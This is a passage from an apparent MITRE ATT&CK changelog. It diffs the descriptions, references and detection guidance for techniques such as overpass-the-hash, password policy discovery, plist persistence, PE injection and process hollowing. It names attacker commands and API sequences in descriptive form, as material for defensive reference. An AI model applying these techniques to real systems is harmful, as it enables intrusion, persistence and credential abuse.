Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) |
| external_references[5]['source_name'] | CERT-EU Golden Ticket Protection | Stealthbits Overpass-the-Hash |
| external_references[5]['description'] | Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. | Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. |
| external_references[5]['url'] | https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf | https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'} | |
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.126000+00:00 | 2021-04-21 16:41:35.269000+00:00 |
| external_references[2]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | AWS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access detailed information about | t | 1 | Adversaries may attempt to access detailed information about |
| > | the password policy used within an enterprise network. Pass | > | the password policy used within an enterprise network or cl | ||
| > | word policies for networks are a way to enforce complex pass | > | oud environment. Password policies are a way to enforce comp | ||
| > | words that are difficult to guess or crack through [Brute Fo | > | lex passwords that are difficult to guess or crack through [ | ||
| > | rce](https://attack.mitre.org/techniques/T1110). This would | > | Brute Force](https://attack.mitre.org/techniques/T1110). Thi | ||
| > | help the adversary to create a list of common passwords and | > | s information may help the adversary to create a list of com | ||
| > | launch dictionary and/or brute force attacks which adheres t | > | mon passwords and launch dictionary and/or brute force attac | ||
| > | o the policy (e.g. if the minimum password length should be | > | ks which adheres to the policy (e.g. if the minimum password | ||
| > | 8, then not trying passwords such as 'pass123'; not checking | > | length should be 8, then not trying passwords such as 'pass | ||
| > | for more than 3-4 passwords per account if the lockout is s | > | 123'; not checking for more than 3-4 passwords per account i | ||
| > | et to 6 as to not lock out accounts). Password policies can | > | f the lockout is set to 6 as to not lock out accounts). Pas | ||
| > | be set and discovered on Windows, Linux, and macOS systems | > | sword policies can be set and discovered on Windows, Linux, | ||
| > | via various command shell utilities such as <code>net accoun | > | and macOS systems via various command shell utilities such a | ||
| > | ts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy | > | s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo | ||
| > | </code>, <code>chage -l <username></code>, <code>cat /etc/pa | > | mainPasswordPolicy</code>, <code>chage -l <username></code>, | ||
| > | m.d/common-password</code>, and <code>pwpolicy getaccountpol | > | <code>cat /etc/pam.d/common-password</code>, and <code>pwpo | ||
| > | icies</code>.(Citation: Superuser Linux Password Policies) ( | > | licy getaccountpolicies</code> (Citation: Superuser Linux Pa | ||
| > | Citation: Jamf User Password Policies) | > | ssword Policies) (Citation: Jamf User Password Policies). P | ||
| > | assword policies can be discovered in cloud environments usi | ||||
| > | ng available APIs such as <code>GetAccountPasswordPolicy</co | ||||
| > | de> in AWS (Citation: AWS GetPasswordPolicy). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-29 14:48:07.227000+00:00 | 2021-07-26 14:11:39.499000+00:00 |
| description | Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy). |
| x_mitre_data_sources[0] | Process command-line parameters | User Account: User Account Metadata |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_detection | Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. | Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'AWS GetPasswordPolicy', 'description': 'Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.', 'url': 'https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html'} | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | IaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.579000+00:00 | 2021-04-06 12:32:47.678000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send phishing | t | 1 | Adversaries may send phishing messages to elicit sensitive i |
| > | messages to elicit sensitive information that can be used du | > | nformation that can be used during targeting. Phishing for i | ||
| > | ring targeting. Phishing for information is an attempt to tr | > | nformation is an attempt to trick targets into divulging inf | ||
| > | ick targets into divulging information, frequently credentia | > | ormation, frequently credentials or other actionable informa | ||
| > | ls or other actionable information. Phishing for information | > | tion. Phishing for information is different from [Phishing]( | ||
| > | is different from [Phishing](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1566) in that the objec | ||
| > | iques/T1566) in that the objective is gathering data from th | > | tive is gathering data from the victim rather than executing | ||
| > | e victim rather than executing malicious code. All forms of | > | malicious code. All forms of phishing are electronically d | ||
| > | phishing are electronically delivered social engineering. P | > | elivered social engineering. Phishing can be targeted, known | ||
| > | hishing can be targeted, known as spearphishing. In spearphi | > | as spearphishing. In spearphishing, a specific individual, | ||
| > | shing, a specific individual, company, or industry will be t | > | company, or industry will be targeted by the adversary. More | ||
| > | argeted by the adversary. More generally, adversaries can co | > | generally, adversaries can conduct non-targeted phishing, s | ||
| > | nduct non-targeted phishing, such as in mass credential harv | > | uch as in mass credential harvesting campaigns. Adversaries | ||
| > | esting campaigns. Adversaries may also try to obtain inform | > | may also try to obtain information directly through the exc | ||
| > | ation directly through the exchange of emails, instant messa | > | hange of emails, instant messages, or other electronic conve | ||
| > | ges, or other electronic conversation means.(Citation: Threa | > | rsation means.(Citation: ThreatPost Social Media Phishing)(C | ||
| > | tPost Social Media Phishing)(Citation: TrendMictro Phishing) | > | itation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Ci | ||
| > | (Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Cit | > | tation: Sophos Attachment)(Citation: GitHub Phishery) Phishi | ||
| > | ation: GitHub Phishery) Phishing for information frequently | > | ng for information frequently involves social engineering te | ||
| > | involves social engineering techniques, such as posing as a | > | chniques, such as posing as a source with a reason to collec | ||
| > | source with a reason to collect information (ex: [Establish | > | t information (ex: [Establish Accounts](https://attack.mitre | ||
| > | Accounts](https://attack.mitre.org/techniques/T1585) or [Com | > | .org/techniques/T1585) or [Compromise Accounts](https://atta | ||
| > | promise Accounts](https://attack.mitre.org/techniques/T1586) | > | ck.mitre.org/techniques/T1586)) and/or sending multiple, see | ||
| > | ) and/or sending multiple, seemingly urgent messages. | > | mingly urgent messages. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 19:44:58.292000+00:00 | 2021-04-15 03:43:13.134000+00:00 |
| description | Before compromising a victim, adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. | Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. |
| x_mitre_contributors[2] | Robert Simmons | Robert Simmons, @MalwareUtkonos |
| x_mitre_data_sources[0] | Social media monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Mail server | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Depending on the specific method of spearphishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). | Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify plist files to run a program during s | t | 1 | Adversaries can modify property list files (plist files) to |
| > | ystem boot or user login. Property list (plist) files contai | > | execute their code as part of establishing persistence. Plis | ||
| > | n all of the information that macOS and OS X uses to configu | > | t files are used by macOS applications to store properties a | ||
| > | re applications and services. These files are UTF-8 encoded | > | nd configuration settings for applications and services. App | ||
| > | and formatted like XML documents via a series of keys surrou | > | lications use information plist files, <code>Info.plist</cod | ||
| > | nded by < >. They detail when programs should execute, file | > | e>, to tell the operating system how to handle the applicati | ||
| > | paths to the executables, program arguments, required OS per | > | on at runtime using structured metadata in the form of keys | ||
| > | missions, and many others. plists are located in certain loc | > | and values. Plist files are formatted in XML and based on Ap | ||
| > | ations depending on their purpose such as <code>/Library/Pre | > | ple's Core Foundation DTD and can be saved in text or binary | ||
| > | ferences</code> (which execute with elevated privileges) and | > | format.(Citation: fileinfo plist file description) Advers | ||
| > | <code>~/Library/Preferences</code> (which execute with a us | > | aries can modify paths to executed binaries, add command lin | ||
| > | er's privileges). Adversaries can modify plist files to ex | > | e arguments, and insert key/pair values to plist files in au | ||
| > | ecute their code as part of establishing persistence. plists | > | to-run locations which execute upon user logon or system sta | ||
| > | may also be used to elevate privileges since they may execu | > | rtup. Through modifying plist files in these locations, adve | ||
| > | te in the context of another user.(Citation: Sofacy Komplex | > | rsaries can also execute a malicious dynamic library (dylib) | ||
| > | Trojan) A specific plist used for execution at login is <c | > | by adding a dictionary containing the <code>DYLD_INSERT_LIB | ||
| > | ode>com.apple.loginitems.plist</code>.(Citation: Methods of | > | RARIES</code> key combined with a path to a malicious dylib | ||
| > | Mac Malware Persistence) Applications under this plist run u | > | under the <code>EnvironmentVariables</code> key in a plist f | ||
| > | nder the logged in user's context, and will be started every | > | ile. Upon user logon, the plist is called for execution and | ||
| > | time the user logs in. Login items installed using the Serv | > | the malicious dylib is executed within the process space. Pe | ||
| > | ice Management Framework are not visible in the System Prefe | > | rsistence can also be achieved by modifying the <code>LSEnvi | ||
| > | rences and can only be removed by the application that creat | > | ronment</code> key in the application's <code>Info.plist</co | ||
| > | ed them.(Citation: Adding Login Items) Users have direct con | > | de> file.(Citation: wardle artofmalware volume1) | ||
| > | trol over login items installed using a shared file list whi | ||||
| > | ch are also visible in System Preferences (Citation: Adding | ||||
| > | Login Items). Some of these applications can open visible di | ||||
| > | alogs to the user, but they don’t all have to since there is | ||||
| > | an option to "hide" the window. If an adversary can registe | ||||
| > | r their own login item or modified an existing one, then the | ||||
| > | y can use it to execute their code for a persistence mechani | ||||
| > | sm each time the user logs in (Citation: Malware Persistence | ||||
| > | on OS X) (Citation: OSX.Dok Malware). The API method <code> | ||||
| > | SMLoginItemSetEnabled</code> can be used to set Login Items | ||||
| > | , but scripting languages like [AppleScript](https://attack. | ||||
| > | mitre.org/techniques/T1059/002) can do this as well. (Citati | ||||
| > | on: Adding Login Items) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 19:57:36.136000+00:00 | 2021-10-15 14:46:47.383000+00:00 |
| description | Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges).
Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan)
A specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to "hide" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items) | Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1) |
| external_references[1]['source_name'] | Sofacy Komplex Trojan | fileinfo plist file description |
| external_references[1]['description'] | Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. | FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021. |
| external_references[1]['url'] | https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ | https://fileinfo.com/extension/plist |
| external_references[2]['source_name'] | Methods of Mac Malware Persistence | wardle artofmalware volume1 |
| external_references[2]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021. |
| external_references[2]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://taomm.org/vol1/pdfs.html |
| x_mitre_data_sources[0] | File monitoring | Service: Service Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_detection | File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. | Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist.
Monitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.
Identify new services executed from plist modified in the previous user's session. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Adding Login Items', 'description': 'Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html'} | |
| external_references | {'source_name': 'Malware Persistence on OS X', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'url': 'https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf'} | |
| external_references | {'source_name': 'OSX.Dok Malware', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject portable executables (PE) into proces | t | 1 | Adversaries may inject portable executables (PE) into proces |
| > | ses in order to evade process-based defenses as well as poss | > | ses in order to evade process-based defenses as well as poss | ||
| > | ibly elevate privileges. PE injection is a method of executi | > | ibly elevate privileges. PE injection is a method of executi | ||
| > | ng arbitrary code in the address space of a separate live pr | > | ng arbitrary code in the address space of a separate live pr | ||
| > | ocess. PE injection is commonly performed by copying code | > | ocess. PE injection is commonly performed by copying code | ||
| > | (perhaps without a file on disk) into the virtual address sp | > | (perhaps without a file on disk) into the virtual address sp | ||
| > | ace of the target process before invoking it via a new threa | > | ace of the target process before invoking it via a new threa | ||
| > | d. The write can be performed with native Windows API calls | > | d. The write can be performed with native Windows API calls | ||
| > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | ||
| > | mory</code>, then invoked with <code>CreateRemoteThread</cod | > | mory</code>, then invoked with <code>CreateRemoteThread</cod | ||
| > | e> or additional code (ex: shellcode). The displacement of t | > | e> or additional code (ex: shellcode). The displacement of t | ||
| > | he injected code does introduce the additional requirement f | > | he injected code does introduce the additional requirement f | ||
| > | or functionality to remap memory references. (Citation: Endg | > | or functionality to remap memory references. (Citation: Elas | ||
| > | ame Process Injection July 2017) Running code in the conte | > | tic Process Injection July 2017) Running code in the conte | ||
| > | xt of another process may allow access to the process's memo | > | xt of another process may allow access to the process's memo | ||
| > | ry, system/network resources, and possibly elevated privileg | > | ry, system/network resources, and possibly elevated privileg | ||
| > | es. Execution via PE injection may also evade detection from | > | es. Execution via PE injection may also evade detection from | ||
| > | security products since the execution is masked under a leg | > | security products since the execution is masked under a leg | ||
| > | itimate process. | > | itimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:19:58.813000+00:00 | 2021-10-18 12:21:11.178000+00:00 |
| description | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Endgame Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 13:51:22.360000+00:00 | 2021-05-28 14:56:23.748000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[3] | PowerShell logs | Script: Script Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | DLL monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into suspended and hol | t | 1 | Adversaries may inject malicious code into suspended and hol |
| > | lowed processes in order to evade process-based defenses. Pr | > | lowed processes in order to evade process-based defenses. Pr | ||
| > | ocess hollowing is a method of executing arbitrary code in t | > | ocess hollowing is a method of executing arbitrary code in t | ||
| > | he address space of a separate live process. Process holl | > | he address space of a separate live process. Process holl | ||
| > | owing is commonly performed by creating a process in a suspe | > | owing is commonly performed by creating a process in a suspe | ||
| > | nded state then unmapping/hollowing its memory, which can th | > | nded state then unmapping/hollowing its memory, which can th | ||
| > | en be replaced with malicious code. A victim process can be | > | en be replaced with malicious code. A victim process can be | ||
| > | created with native Windows API calls such as <code>CreatePr | > | created with native Windows API calls such as <code>CreatePr | ||
| > | ocess</code>, which includes a flag to suspend the processes | > | ocess</code>, which includes a flag to suspend the processes | ||
| > | primary thread. At this point the process can be unmapped u | > | primary thread. At this point the process can be unmapped u | ||
| > | sing APIs calls such as <code>ZwUnmapViewOfSection</code> or | > | sing APIs calls such as <code>ZwUnmapViewOfSection</code> or | ||
| > | <code>NtUnmapViewOfSection</code> before being written to, | > | <code>NtUnmapViewOfSection</code> before being written to, | ||
| > | realigned to the injected code, and resumed via <code>Virtu | > | realigned to the injected code, and resumed via <code>Virtu | ||
| > | alAllocEx</code>, <code>WriteProcessMemory</code>, <code>Set | > | alAllocEx</code>, <code>WriteProcessMemory</code>, <code>Set | ||
| > | ThreadContext</code>, then <code>ResumeThread</code> respect | > | ThreadContext</code>, then <code>ResumeThread</code> respect | ||
